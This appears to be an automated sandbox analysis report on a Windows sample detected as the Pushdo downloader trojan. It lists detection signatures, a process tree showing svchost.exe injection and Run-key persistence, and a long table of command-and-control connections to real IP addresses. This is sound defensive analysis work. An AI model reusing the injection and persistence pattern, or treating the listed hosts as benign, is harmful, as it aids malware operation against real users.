Edit tour

Windows Analysis Report
yGktPvplJn.exe

Overview

General Information

Sample name:	yGktPvplJn.exe renamed because original name is a hash value
Original sample name:	d9c7beeacdac2aae5d8c675556bfaae9.exe
Analysis ID:	1541957
MD5:	d9c7beeacdac2aae5d8c675556bfaae9
SHA1:	b1c2dd3bd27624a8aa310cbb481b9a64fdbaf921
SHA256:	7c2906c9277e39c2d1be87adbd342e6faba7b0aa593233663d0007cb4119ccc6
Tags:	32exe
Infos:

Detection

Pushdo

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Backdoor Pushdo

AI detected suspicious sample

Allocates memory in foreign processes

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Drops PE files to the user root directory

Injects a PE file into a foreign processes

Sigma detected: Suspect Svchost Activity

Writes to foreign memory regions

Connects to many different domains

Connects to several IPs in different countries

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the user directory

Executes massive DNS lookups (> 100)

Found decision node followed by non-executed suspicious APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

yGktPvplJn.exe (PID: 1172 cmdline: "C:\Users\user\Desktop\yGktPvplJn.exe" MD5: D9C7BEEACDAC2AAE5D8C675556BFAAE9)

svchost.exe (PID: 5772 cmdline: C:\Windows\system32\svchost.exe MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

svchost.exe (PID: 4072 cmdline: C:\Windows\system32\svchost.exe MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

svchost.exe (PID: 6832 cmdline: C:\Windows\system32\svchost.exe MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

svchost.exe (PID: 6184 cmdline: C:\Windows\system32\svchost.exe MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

pigalicapi.exe (PID: 1896 cmdline: "C:\Users\user\pigalicapi.exe" MD5: D9C7BEEACDAC2AAE5D8C675556BFAAE9)

svchost.exe (PID: 6972 cmdline: C:\Windows\system32\svchost.exe MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

svchost.exe (PID: 4120 cmdline: C:\Windows\system32\svchost.exe MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

pigalicapi.exe (PID: 2128 cmdline: "C:\Users\user\pigalicapi.exe" MD5: D9C7BEEACDAC2AAE5D8C675556BFAAE9)

svchost.exe (PID: 4708 cmdline: C:\Windows\system32\svchost.exe MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

svchost.exe (PID: 4796 cmdline: C:\Windows\system32\svchost.exe MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Pushdo	Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.	No Attribution	http://malware-traffic-analysis.net/2017/04/03/index2.html http://www.secureworks.com/research/threat-profiles/gold-essex https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/ https://www.secureworks.com/research/pushdo	https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.3364967602.0000000004000000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0000000C.00000002.3435716835.0000000004000000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000009.00000002.3436507644.0000000004000000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000008.00000002.3403881757.0000000004000000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0000000B.00000002.3435918622.0000000004000000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
00000007.00000002.3568343240.0000000004000000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
0000000A.00000002.3395101428.0000000004000000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
12.2.svchost.exe.4004000.6.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
10.2.svchost.exe.4004000.2.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
8.2.svchost.exe.4004000.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.svchost.exe.4000000.3.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
12.2.svchost.exe.4000000.2.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
7.2.svchost.exe.4000000.5.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
9.2.svchost.exe.4004000.2.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
11.2.svchost.exe.4004000.3.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
8.2.svchost.exe.4000000.4.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
12.2.svchost.exe.4000000.2.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
10.2.svchost.exe.4004000.2.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.svchost.exe.4004000.4.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
7.2.svchost.exe.4000000.5.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
11.2.svchost.exe.4000000.6.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
13.2.svchost.exe.4004000.4.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
9.2.svchost.exe.4004000.2.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
7.2.svchost.exe.4004000.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.svchost.exe.4000000.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
11.2.svchost.exe.4004000.3.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
4.2.svchost.exe.4004000.4.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
13.2.svchost.exe.4004000.4.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
8.2.svchost.exe.4000000.4.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
7.2.svchost.exe.4004000.3.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
13.2.svchost.exe.4000000.2.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
9.2.svchost.exe.4000000.5.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
12.2.svchost.exe.4004000.6.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
10.2.svchost.exe.4000000.6.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
9.2.svchost.exe.4000000.5.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
11.2.svchost.exe.4000000.6.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
8.2.svchost.exe.4004000.3.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
10.2.svchost.exe.4000000.6.raw.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
13.2.svchost.exe.4000000.2.unpack	JoeSecurity_Pushdo	Yara detected Backdoor Pushdo	Joe Security
Click to see the 27 entries

Sigma Signatures

System Summary

Sigma detected: Suspect Svchost Activity

Source: Process started

Author: David Burkett, @signalblur: Data: Command: C:\Windows\system32\svchost.exe, CommandLine: C:\Windows\system32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\yGktPvplJn.exe", ParentImage: C:\Users\user\Desktop\yGktPvplJn.exe, ParentProcessId: 1172, ParentProcessName: yGktPvplJn.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe, ProcessId: 5772, ProcessName: svchost.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\pigalicapi.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\yGktPvplJn.exe, ProcessId: 1172, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\pigalicapi

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 66.226.70.66, DestinationIsIpv6: false, DestinationPort: 25, EventID: 3, Image: C:\Windows\SysWOW64\svchost.exe, Initiated: true, ProcessId: 5772, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 52691

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\svchost.exe, CommandLine: C:\Windows\system32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\yGktPvplJn.exe", ParentImage: C:\Users\user\Desktop\yGktPvplJn.exe, ParentProcessId: 1172, ParentProcessName: yGktPvplJn.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe, ProcessId: 5772, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe, CommandLine: C:\Windows\system32\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\yGktPvplJn.exe", ParentImage: C:\Users\user\Desktop\yGktPvplJn.exe, ParentProcessId: 1172, ParentProcessName: yGktPvplJn.exe, ProcessCommandLine: C:\Windows\system32\svchost.exe, ProcessId: 5772, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Backdoor.Win32.Pushdo.s Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T11:17:31.843857+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49762	104.21.23.9	80	TCP
2024-10-25T11:17:31.843924+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49760	192.124.249.20	80	TCP
2024-10-25T11:17:31.993960+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49762	104.21.23.9	80	TCP
2024-10-25T11:17:32.013734+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49760	192.124.249.20	80	TCP
2024-10-25T11:17:32.071578+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49764	80.93.82.33	80	TCP
2024-10-25T11:17:32.148245+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49766	70.39.251.249	80	TCP
2024-10-25T11:17:32.157172+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49768	3.19.116.195	80	TCP
2024-10-25T11:17:32.188937+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49765	34.218.204.173	80	TCP
2024-10-25T11:17:32.193036+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49763	188.114.97.3	80	TCP
2024-10-25T11:17:32.328174+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49764	80.93.82.33	80	TCP
2024-10-25T11:17:32.328511+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49766	70.39.251.249	80	TCP
2024-10-25T11:17:32.447169+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49763	188.114.97.3	80	TCP
2024-10-25T11:17:32.696034+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49763	188.114.97.3	80	TCP
2024-10-25T11:17:32.867338+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52540	3.19.116.195	80	TCP
2024-10-25T11:17:32.874617+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49771	59.106.19.204	80	TCP
2024-10-25T11:17:32.903690+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52541	104.26.7.221	80	TCP
2024-10-25T11:17:32.941456+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49763	188.114.97.3	80	TCP
2024-10-25T11:17:33.050785+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52543	185.15.129.58	80	TCP
2024-10-25T11:17:33.277291+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52546	34.149.87.45	80	TCP
2024-10-25T11:17:33.552441+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52544	142.250.186.147	80	TCP
2024-10-25T11:17:33.706452+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52545	170.82.174.30	80	TCP
2024-10-25T11:17:33.859987+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52554	54.161.222.85	80	TCP
2024-10-25T11:17:33.968045+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52553	139.59.171.124	80	TCP
2024-10-25T11:17:34.008290+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52552	118.27.125.181	80	TCP
2024-10-25T11:17:34.293068+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52550	188.114.97.3	80	TCP
2024-10-25T11:17:34.349450+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52557	13.248.252.114	80	TCP
2024-10-25T11:17:34.427021+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52553	139.59.171.124	80	TCP
2024-10-25T11:17:34.505954+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52559	62.122.190.121	80	TCP
2024-10-25T11:17:34.514245+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52558	89.161.163.246	80	TCP
2024-10-25T11:17:34.578653+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52545	170.82.174.30	80	TCP
2024-10-25T11:17:34.751740+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52555	104.26.15.53	80	TCP
2024-10-25T11:17:34.788095+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52559	62.122.190.121	80	TCP
2024-10-25T11:17:34.848872+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52562	54.161.222.85	80	TCP
2024-10-25T11:17:34.895339+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52563	104.21.88.198	80	TCP
2024-10-25T11:17:35.048672+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52563	104.21.88.198	80	TCP
2024-10-25T11:17:35.088366+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52566	192.124.249.10	80	TCP
2024-10-25T11:17:35.264869+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52566	192.124.249.10	80	TCP
2024-10-25T11:17:35.347452+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52569	141.193.213.11	80	TCP
2024-10-25T11:17:35.358372+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52570	172.67.173.200	80	TCP
2024-10-25T11:17:35.405416+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52568	34.218.204.173	80	TCP
2024-10-25T11:17:35.509850+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52570	172.67.173.200	80	TCP
2024-10-25T11:17:35.534472+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52569	141.193.213.11	80	TCP
2024-10-25T11:17:35.784338+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52571	80.74.154.6	80	TCP
2024-10-25T11:17:35.843192+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52572	185.80.51.179	80	TCP
2024-10-25T11:17:35.867334+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52578	198.185.159.144	80	TCP
2024-10-25T11:17:36.015633+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52574	60.43.154.138	80	TCP
2024-10-25T11:17:36.042041+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52579	192.252.154.18	80	TCP
2024-10-25T11:17:36.075713+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52571	80.74.154.6	80	TCP
2024-10-25T11:17:36.126304+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52572	185.80.51.179	80	TCP
2024-10-25T11:17:36.190870+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52580	188.165.133.163	80	TCP
2024-10-25T11:17:36.302843+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52574	60.43.154.138	80	TCP
2024-10-25T11:17:36.305031+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52583	69.163.239.62	80	TCP
2024-10-25T11:17:36.405836+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52582	135.181.73.98	80	TCP
2024-10-25T11:17:36.447111+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52580	188.165.133.163	80	TCP
2024-10-25T11:17:36.504131+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52583	69.163.239.62	80	TCP
2024-10-25T11:17:36.510021+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52584	81.2.194.241	80	TCP
2024-10-25T11:17:36.584213+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52585	188.114.96.3	80	TCP
2024-10-25T11:17:36.691307+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52582	135.181.73.98	80	TCP
2024-10-25T11:17:36.977898+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52585	188.114.96.3	80	TCP
2024-10-25T11:17:37.007499+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52584	81.2.194.241	80	TCP
2024-10-25T11:17:37.019404+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52587	193.166.255.171	80	TCP
2024-10-25T11:17:37.091885+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52591	46.242.238.60	80	TCP
2024-10-25T11:17:37.609534+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52593	202.254.236.40	80	TCP
2024-10-25T11:17:37.755856+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52600	3.94.41.167	80	TCP
2024-10-25T11:17:37.786662+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52594	5.189.128.121	80	TCP
2024-10-25T11:17:37.801195+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52599	188.114.96.3	80	TCP
2024-10-25T11:17:37.884784+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52593	202.254.236.40	80	TCP
2024-10-25T11:17:37.933168+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52605	154.53.43.150	80	TCP
2024-10-25T11:17:38.004330+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52599	188.114.96.3	80	TCP
2024-10-25T11:17:38.064382+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52594	5.189.128.121	80	TCP
2024-10-25T11:17:38.073574+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52604	108.167.164.216	80	TCP
2024-10-25T11:17:38.076356+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52601	104.21.66.46	80	TCP
2024-10-25T11:17:38.110069+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52605	154.53.43.150	80	TCP
2024-10-25T11:17:38.219548+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52602	116.211.150.37	80	TCP
2024-10-25T11:17:38.477151+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52606	3.94.41.167	80	TCP
2024-10-25T11:17:38.996246+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52611	96.127.180.42	80	TCP
2024-10-25T11:17:38.996677+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52612	23.227.38.74	80	TCP
2024-10-25T11:17:39.331854+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52615	104.196.26.65	80	TCP
2024-10-25T11:17:39.331868+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52614	104.26.3.124	80	TCP
2024-10-25T11:17:39.484206+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52611	96.127.180.42	80	TCP
2024-10-25T11:17:39.662876+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	49761	137.118.26.67	80	TCP
2024-10-25T11:17:39.686400+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52615	104.196.26.65	80	TCP
2024-10-25T11:17:39.701903+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52614	104.26.3.124	80	TCP
2024-10-25T11:17:39.810527+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52616	217.19.237.54	80	TCP
2024-10-25T11:17:40.035379+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52618	75.119.202.130	80	TCP
2024-10-25T11:17:40.090170+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52618	75.119.202.130	80	TCP
2024-10-25T11:17:40.106112+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52621	51.79.51.72	80	TCP
2024-10-25T11:17:40.283253+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52619	122.128.109.107	80	TCP
2024-10-25T11:17:40.702244+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52625	195.78.66.65	80	TCP
2024-10-25T11:17:40.702342+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52629	69.163.182.181	80	TCP
2024-10-25T11:17:40.702481+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52630	13.248.169.48	80	TCP
2024-10-25T11:17:40.702538+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52627	18.245.31.21	80	TCP
2024-10-25T11:17:40.702602+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:40.811261+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52631	75.119.202.130	80	TCP
2024-10-25T11:17:40.986166+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52627	18.245.31.21	80	TCP
2024-10-25T11:17:40.988266+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:41.032335+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52634	3.94.41.167	80	TCP
2024-10-25T11:17:41.055721+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52635	107.180.98.101	80	TCP
2024-10-25T11:17:41.412355+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52635	107.180.98.101	80	TCP
2024-10-25T11:17:41.412405+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:41.412585+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52633	183.90.183.73	80	TCP
2024-10-25T11:17:41.445217+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52642	165.22.45.169	80	TCP
2024-10-25T11:17:41.466472+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52617	213.165.251.217	80	TCP
2024-10-25T11:17:41.473081+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52639	69.163.182.181	80	TCP
2024-10-25T11:17:41.612142+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52641	188.166.152.188	80	TCP
2024-10-25T11:17:41.651016+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52642	165.22.45.169	80	TCP
2024-10-25T11:17:41.680176+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:41.754719+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52643	3.94.41.167	80	TCP
2024-10-25T11:17:42.022416+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52628	3.65.101.129	80	TCP
2024-10-25T11:17:42.409348+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52645	211.1.226.67	80	TCP
2024-10-25T11:17:42.466877+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52646	147.154.0.23	80	TCP
2024-10-25T11:17:42.712985+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52645	211.1.226.67	80	TCP
2024-10-25T11:17:42.847261+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52652	188.114.97.3	80	TCP
2024-10-25T11:17:42.972909+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52655	13.248.252.114	80	TCP
2024-10-25T11:17:43.093117+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52653	23.227.38.74	80	TCP
2024-10-25T11:17:43.127996+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52651	144.76.24.9	80	TCP
2024-10-25T11:17:43.133610+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52656	213.186.33.40	80	TCP
2024-10-25T11:17:43.150304+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52654	217.79.184.35	80	TCP
2024-10-25T11:17:43.243532+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52659	35.164.78.200	80	TCP
2024-10-25T11:17:43.746542+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52656	213.186.33.40	80	TCP
2024-10-25T11:17:43.748487+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52658	185.53.177.50	80	TCP
2024-10-25T11:17:44.348916+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52660	74.208.236.101	80	TCP
2024-10-25T11:17:44.498867+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52668	103.224.182.241	80	TCP
2024-10-25T11:17:44.590801+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52664	104.26.10.81	80	TCP
2024-10-25T11:17:44.646170+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52667	85.131.197.10	80	TCP
2024-10-25T11:17:44.709733+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52672	208.109.214.162	80	TCP
2024-10-25T11:17:44.983568+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52673	5.196.166.214	80	TCP
2024-10-25T11:17:45.021371+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52672	208.109.214.162	80	TCP
2024-10-25T11:17:45.092130+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52667	85.131.197.10	80	TCP
2024-10-25T11:17:45.542771+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52677	103.224.182.241	80	TCP
2024-10-25T11:17:45.692797+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52681	188.114.97.3	80	TCP
2024-10-25T11:17:46.326970+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52683	93.187.206.66	80	TCP
2024-10-25T11:17:52.365532+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52669	198.100.146.220	80	TCP
2024-10-25T11:17:53.966673+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52685	64.125.133.18	80	TCP
2024-10-25T11:17:54.943950+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52724	188.114.96.3	80	TCP
2024-10-25T11:17:55.401040+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52692	96.91.204.114	80	TCP
